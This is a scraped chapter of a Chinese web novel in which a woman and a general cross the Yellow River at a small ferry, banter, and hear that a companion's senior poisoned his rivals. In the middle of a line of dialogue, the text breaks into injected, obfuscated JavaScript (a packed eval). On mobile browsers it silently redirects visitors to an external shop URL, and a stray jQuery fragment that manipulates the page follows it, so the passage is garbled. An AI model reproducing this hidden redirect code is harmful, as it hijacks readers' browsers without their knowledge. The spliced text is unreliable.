文趣网 > 其他小说 > 关山欲雪 > 11.白杨津
    韩春意策马行出去二三里路,心情稍稍平复一些,便觉自己刚刚的反应有些强烈了。

    想到那棕马还有伤,程知节必定会慢她许多。她紧了紧缰绳,让青海骢放慢了脚步。

    出了王庄村后,这一带的草木开始繁盛起来,沿路人家也多了些。她漫行在乡间小道上,看远处的麦田里有人顶着太阳,正在辛勤劳作。

    众生芸芸,天地大而人微小。其实她的情绪又算得了什么呢?

    她吐了口气,心里浮起一些茫然。

    没多久,身后不远处传来马蹄声,她回身望去,果然是程知节跟上来了。

    难得他率先开口:“小娘子骑术好,也不能这么难为我和马吧?”

    韩春意看到那棕马腿上包扎的伤口,心下有些不忍,主动道:“是我不对,倒让这棕马吃苦了。”

    程知节下了马,又朝马上的她伸手:“下来走一走?”

    韩春意纠结了一下,还是接受了他的好意,把手放入他手心,顺势落到了地上。

    她的手小而绵软,和他在军中握过的将士们的手完全不同,触感十分特别,倒让他心里泛起一丝波澜。

    两人走了一段,程知节不时观察着她神色,见她表情比前时平静,才开口:“你现在还生我气么?”

    韩春意垂下眼睫,摇摇头:“不。本就没什么好生气的。”

    程知节听到这个答案,心里不知为何有些空落落的。

    他继续问:“那能否告诉我,从陈娘子家出来,你为何不开心呢?”

    韩春意抬起头,看向四野风景:“没什么。就是莫名的伤感罢了。家中好好的郎子,放到战场上,也只是一粒无关紧要的沙。”

    程知节不赞同:“只要你愿意去看,他们就是活生生的人而非沙粒。只是上位者总不愿俯身罢了。”

    “所以那云和说得也没错。多少百姓辛劳一生,甚至付出性命,也只是为上位者做了嫁衣。”

    她说完,一瞬反应过来这话里的歧义,看了眼程知节:“我并不是影射将军。听了将军昨日跟我说的那些话,我知道,将军并非因为追求功名利禄才留在河西。我只是想到了一些……”

    她想到的是长安城中,那些明面莺歌燕舞中逍遥富贵、人后却勾心斗角不惜代价的人。

    “一些不太好的人。”

    “既如此,那你还愿意和他们明争暗斗,费尽心思,登上那上位者的位置么?”

    韩春意吸了一口气,声音不大,却能听出几分豪情:“若我是上位者,必定和他们不同些。”

    她还没有真正地踏入过权力的中心,也不相信所有人都会被同化成一个模样。她心中坦荡,不愿做那些贪婪无能之辈的拥趸,且仍认定自己能找到一番施展的天地。

    这样的少年壮志,让程知节想起自己在京中读书时那些时日。那时他也想过,若有一日自己金榜题名,跻身公卿,定要做个为国为民的好官。

    可惜少年难再,失去的机会永远也不会再回到他眼前。

    他在战场上无数次但求一死,如今也只是偏安一隅的活着。在生死面前,人能做的实在太少。不过是他这具肉身还有些作用,他便让自己再苟延残喘些时候。

    他突然有些羡慕她,羡慕她的年少,羡慕她的心气,羡慕她生机勃勃,还有为自己筹谋的勇气和胆量。

    他对他一笑:“那我便只能祝你顺利了。”

    韩春意挑眉:“将军不是很不看好我么?”

    程知节望向前方:“我程家满门,死于权力倾轧之下,所以我对朝堂失望透顶。但人都有自己的路要走,我此前只是用自己的经验来劝你,倒是我狭隘了。”

    “你也是好意。”她轻声答道。

    他们身前是一大片麦田,风吹过青色的麦芒,在田间涌起波浪,带来几分淡淡的甜香。两人把话说开,眉头都舒展许多,享受着这一刻清风的舒适。

    走了不久,两人见前路有人骑马疾驰而来。定睛一看,正是去而复返的青青。

    韩春意眼睛里的光瞬间亮起来:“青青,你回来了!”

    青青驭马到二人跟前,脸上神采比往日清亮许多,笑着对二人道:“女郎,将军,我回来了。”

    想到在半路停下既不方便也不安全,韩春意道:“我们先赶路,等晚些时候,到了白杨津歇下再叙。”

    于是三人策马,朝白杨津行去。

    /

    那白杨津只是黄河边一个小渡口。地如其名,渡口旁的路上种了长长两一行白杨树,树木在春天抽出了新叶,此时的嫩绿特别喜人。

    白杨津只有船,没有桥。所以若是货物驮马多的商旅,都愿意去上游建了桥的会宁关渡河。久而久之,这小渡口的人便更少些。

    他们到时天色已经擦黑,河边只剩下一艘船还有人值守。两个撑夫百无聊赖地坐在船头,见有来人,其中一位矮胖些的忙起身问:“三位可是要渡河么?”

    程知节下了马,估量了那船的大小能否载过它们三人三马,对那船夫道:“这船似乎小了些,能将我们一次渡过吗?”

    那矮胖船夫嘿嘿一笑,拍了拍胸脯:“没问题。老夫撑了几十年的船啦,客官就放心吧。”

    三人对视一眼,韩春意道:“我看河对岸房屋密集,想必客舍邸店多些。我们赶在天黑前过河,歇在对岸吧。”

    船夫中瘦高些的那个接上了她的话:“小娘子主意不错。河对岸正是凉州黄平县县治所在,过了河,你们吃饭歇脚都方便着呢。”

    于是三人便在两个撑夫的协助下上了船。果然如程知节所料,三人三马站在船上,十分拥挤。韩春意左右是人,前后是马,顿觉空间狭窄,忍不住皱了下眉头。

    那矮胖船夫却心情颇好,只见他身手灵活,拿长蒿点一下岸边一块巨石,嘴里呼道:“走咯!”

    这段河面不算宽,大约只有二十来尺。水流也不急,只是偶见些小浪。不过因为船小,本来应当坐着的三人,都只能站着。

    行至河中时,船遇到一处漩涡,突然摇晃了一下。船身倾斜,带得人也跟着晃动。船夫在船尾提醒道:“一点小浪,客官们当心。”

    韩春意一时没站稳,向左倒去,扑在程知节身上。他在她倒过来的同时伸手,稳稳托住了她的腰身。

    一靠近,闻到他身上那股温热浅淡的香气,韩春意顿时觉得有些心跳如雷。她抬头看他,发现对方也正在用关切的目光注视着自己。

    这双时常深沉的眼睛,一旦注入了感情,便也是如此摄人心魄么?

    船一稳定下来,她立刻离开他身侧,轻咳一声:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620057|205692||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    多谢。”

    程知节对她的迅速远离有些不解,轻轻皱了下眉:“不必。”

    青青在一旁站得稳如泰山,只当是一个普通小插曲,并没发觉二人间的官司。

    船行了不多时,便到了河对岸的渡口。两位船夫帮他们把马匹牵下了船,收取了银钱后,便又乐乐呵呵地摇着船,回对岸去了。

    这个叫黄平的小县已靠近河西门户。再往西走一些,就能看到连绵起伏的祁连山脉。等翻过乌鞘岭,便很快能到达凉州。

    三人的第一要紧事,还是要找个合适的客栈。他们牵着马在几条街上搜寻了一番,最后挑选了县城主街上看起来最大的一家。进店看了房间合适后,三人便在一楼坐下,等着吃饭。

    青青此次回来,又带来了许多药丸,说是自己和师兄熬夜炼制,各种常用的都有。她大大方方打开包袱,分了一些给程知节。

    “连防迷烟的也有,晚上在屋内点上一丸,就不怕那些了。”

    韩春意点点头,忍不住夸她:“不错,真厉害。”

    程知节问起了那白衣男子的去向:“那你师兄呢?是回江南了么?”

    青青摇头:“师兄此次出来本就是为了游历,他要在会州再待一段时间,后面可能也会去河西呢。”

    韩春意道:“那到时候你们还能再河西相聚,甚好。”

    青青笑着点点头:“没错。师兄如今已经是轻水派的掌门,再也不用受别人拘束了。”

    “年纪轻轻便能做到一派掌门,想来必定武艺也高超。”

    青青说不是的,“师兄擅长药毒之术,武功只算是够用。他能当上掌门,是因为他把前头的那些师伯师兄之类都想办法毒死了。”

    想办法……毒死了?

    韩春意瞪大眼睛,觉得有些荒谬。那日看起来气质出尘,白衣翩翩的郎君,走的竟是这种路数吗?

    程知节只道自己不懂江湖规矩,没作评价。

    青青意识到自己一下子说出了师门秘辛,捂住了自己的嘴巴:“这……似乎不太能说吧?”

    师兄对她极度信任,一见面,就把这几年他做的事情全都告诉她了。也没叮嘱她不能说出去。

    尽管他们师兄妹二人和那几个死去的同门有仇,但谋害别人,这行为总归不算好。

    可是女郎也是她最信任的人,好像没什么不能说的。至于程将军……他一介西北武将,也管不着他们江南的门派吧?

    青青小小的脑子转了好几个弯,还是不能得出能不能说的确切结论。只好把自己的一张小脸埋进手掌心里,不说话了。

    韩春意看她自觉难堪的样子,觉得她实在可爱,宽慰道:“好啦,如果你师兄嘱咐你不能说,那我们也就当没听到。”说完向程知节递了个眼神:“是吧程将军。”

    “是。青侍卫不必难为情。”

    青青听他二人安慰,顿时心下松快了些,呼出一口气:“那就好。我也是觉得信任你们,才敢这样的。女郎放心,你的消息我一定不会往外说。”

    韩春意点头:“我当然知道。”

    谈话间,他们点的菜也上得差不多齐全。正准备动筷之时,程知节盯住桌上那碗白菜豆腐汤里的一角暗影,沉声道:

    “你们有没有发觉,过河后,似乎有人跟着我们?”